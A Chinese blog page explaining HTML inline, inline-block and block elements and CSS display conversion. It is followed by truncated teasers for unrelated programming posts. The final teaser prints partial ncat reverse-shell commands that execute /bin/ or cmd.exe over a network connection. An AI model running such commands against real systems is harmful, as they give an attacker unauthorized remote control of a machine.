HTML标签的类型分为三种:行内元素,行内块元素,块级元素

而标签的属性是可以转换的

display:inline: 转换为行内元素

display:linline-block 转换为行内块元素

display:block 转换为块级元素

特性:

行内元素:

1.无法设置宽高

2. margin上下无效,只有左右有效果,padding都有效果,会撑大空间;

box-sizing:border-box;无效,因为该属性针对盒模型

3.不会自动换行

行内块元素:

1. 不会自动换行

2.能够设置宽高

3.默认排列方式为从左到右

4.可以使用text-align:center使内容相对于父盒子水平居中对齐,例如img标签,可以使用text-align:center,相对父盒子居中对齐.,margin:0 auto无效

5.水平排列,但所有元素默认会有1个空格的间隙,因为元素之间在html中书写有回车换行,浏览器解析会将其解析成一个空格.

块级元素:

1.能够识别宽高

2.margin和padding的上下左右均对其有效

3.可以自动换行

4.多个块状元素标签写在一起，默认排列方式为从上至下

5.可以使用margin:0 auto居中对齐

链路层三种类型的MAC地址

若需要转载,请注明出处. 我们知道,链路层都是以MAC地址来进行通信双方的地址标识的,如下图:在应用中根据接收方的多寡来进行划分,可分为以下三种: 单播(Unicast) 多播(Multicast) ...

php删除html标签的三种解决方法

分享下PHP删除HTMl标签的三种方法. 方法1:直接取出想要取出的标记 <?php //取出br标记 function strip($str) { $str=str_replace(&quot ...

javascript生成新标签的三种方法

javascript生成新标签的三种方法:http://www.cnblogs.com/online-link/p/6062423.html

matlab for循环的三种类型

学习了一半了,发现一个好网站,就是我想写这篇博客用的,网络真是个好东西!纪念下国庆啦 网址:http://www.yiibai.com/matlab/matlab_for_loop.html ---- ...

C&num; enum、int、string三种类型互相转换

enum.int.string三种类型之间的互转 #代码: public enum Sex { Man=, Woman= } public static void enumConvert() { in ...

缓慢变化维 &lpar;Slowly Changing Dimension&rpar; 常见的三种类型及原型设计(转)

开篇介绍 在从 OLTP 业务数据库向 DW 数据仓库抽取数据的过程中,特别是第一次导入之后的每一次增量抽取往往会遇到这样的问题:业务数据库中的一些数据发生了更改,到底要不要将这些变化也反映到数据仓库 ...

ASP&period;NET 设计模式分为三种类型

设计模式分为三种类型,共23类.  一.创建型模式:单例模式.抽象工厂模式.建造者模式.工厂模式.原型模式.      二.结构型模式:适配器模式.桥接模式.装饰模式.组合模式.外观模式.享元模式.代 ...

云计算服务的三种类型(SaaS、PaaS、IaaS)

云计算可以帮助企业降低IT方面的成本和复杂性,并获得他们蓬勃发展所需的灵活性与敏捷性.但是,规划出通往云的明确路径并非易事.毕竟用户需要看透与云相关的市场大肆宣传,然后理解并分析不同种类的云计算模式的 ...

OOM三种类型

OOM的三种类型: 堆OOM /** * -Xmx1g -XX:+PrintGCDetails -XX:MaxDirectMemorySize=100m * * @param args */ publ ...

随机推荐

开始对函数式编程 产生了尊崇感，因为Spring4&period;x &comma;Grooxy&comma;Lisp&comma;网易出来伞哥和他的博客

1  无意看到"丢弃重口味的xml配置--spring4用groovy配置bean",这篇文章,里面说到spring4开始可以使用Groovy进行配置,可以取代xml方式和注解方式 ...

&lbrack;NOIP2014&rsqb; 提高组 洛谷P1328 生活大爆炸版石头剪刀布

题目描述 石头剪刀布是常见的猜拳游戏:石头胜剪刀,剪刀胜布,布胜石头.如果两个人出拳一样,则不分胜负.在第二季第8 集中出现了一种石头剪刀布的升级版游戏. 升级版游戏在传统的 ...

☀【组件】加载 load

Bear / js / utils / load.js 动态修改script标签中的src属性存在的问题 javascript创建css.js,onload触发callback兼容主流浏览器的实现 各 ...

Pull和SAX解析的区别

Pull解析器和SAX解析器虽有区别但也有相似性.他们的区别为:SAX解析器的工作方式是自动将事件推入注册的事件处理器进行处理,因此你不能控制事件的处理主动结束:而Pull解析器的工作方式为允许你的应 ...

C&plus;&plus; 面向对象学习1

#include "stdafx.h" #include //不要遗漏 否则不能使用cout using namespace std; class ...

F04 我的投资策略

我的投资理念:价值投资和右侧趋势投资.我的目标年化收益率: 15-25%我的投资时间:3-5年我的投资品种:股票 + EFT基金 买卖时间点的纪律(买入,卖出的时间原则)股票MA20为界限,高于则持有 ...

PHP怎么获取系统信息和服务器详细信息

https://zhidao.baidu.com/question/1435990326608475859.html 获取系统类型及版本号: php_uname() (例:Windows NT COM ...

使用Ncat反弹Shell

ncat -l -n -v -p ncat -e /bin/ ncat -e C:\Windows\system32\cmd.exe